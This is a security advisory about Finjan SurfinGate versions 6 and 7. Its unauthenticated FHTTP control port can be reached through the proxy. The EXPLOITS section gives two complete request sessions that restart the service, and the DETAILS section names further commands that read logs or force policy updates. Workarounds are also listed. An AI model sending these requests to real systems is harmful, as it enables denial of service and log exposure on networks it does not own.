Finjan SurfinGate Vulnerability
VENDOR: Finjan (www.finjan.com)
PRODUCT: SurfinGate (recently renamed ?Vital Security?)
VERSIONS: All releases of versions 6 & 7 as of 1/22/2004.
Older versions have not been tested.
NOTIFICATION: The vendor has known of the problem over a year
DESCRIPTION
==========================================================
Finjan SurfinGate provides malicious code scanning for web traffic. It focuses
on behavior-based filtering of active content (e.g. ActiveX, Java, scripting),
but also integrates a McAfee virus scanner.
PROBLEM
==========================================================
When running in proxy mode, properly crafted requests sent to Finjan SurfinGate
can mimic control commands. Known vulnerabilities include viewing log data and
causing the service to restart, potentially resulting in a DoS situation. The
application?s architecture suggests there is a potential for modifying the
filtering policy as well.
DETAILS
==========================================================
SurfinGate scanning servers receive commands by listening on a control port
(TCP/3141 by default) for an HTTP-based protocol called ?FHTTP?. Normally the
FHTTP commands come from a management console or policy database server, but
commands are not authenticated and can come from any source, including the
local HTTP proxy. This allows any user to issue server commands via the proxy
server.
The ?finjan-parameter-type? parameter is the actual command. Known commands
include ?restart? to restart the service, ?getlastmsg? to view log information
and ?online? to force a policy update from the database server. Running
?strings? on the server binary (?bin/FinjanServer?) reveals other possible
targets.
EXPLOITS
==========================================================
Below are two examples of sessions with the proxy server that issue a restart
command.
Example 1:
>>> CONNECT LOCALHOST:3141 HTTP/1.0
>>>
<<< HTTP/1.0 200 Connection established
<<< Proxy-agent: Finjan-SurfinGate/6.0
<<<
>>> FINJAN /stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>
<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<
Example 2:
>>> FINJAN localhost:3141/stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>
<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<
WORKAROUNDS
==========================================================
Firewall filtering will is not adequate since the commands come over the same
port that services legitimate HTTP requests. These are possible workarounds
that have been successfully tested.
* Use a proxy server between the user and SurfinGate server to block CONNECT
commands to ports other than 443 AND block non-standard HTTP commands (i.e.
?FINJAN?).
* Inside the SurfinGate policy, add URL rules to block all access to any
hostname or IP address that would connect to the FHTTP port. This can be a long
list; localhost, 127.0.0.1, the hostname, loghost for Solaris machines, the IP
address SurfinGate binds to, any DNS entries, etc.
* Change the control port to something besides 3141. This is pretty weak, but
better than nothing.
NOTES
==========================================================
Just to reiterate, the ability to change the policy has not been confirmed, but
seems likely. The SurfinGate database server and SurfinShield (a desktop
product) database server also use FHTTP for management commands, so that is a
likely source for more vulnerabilities to explore. Because the SurfinGate
scanning/proxy server has to communicate with the database server using FHTTP,
there is guaranteed access to the database via the proxy if the hostname or IP
address is known. The workarounds listed above should also work for restricting
access to the database server, but have not been tested.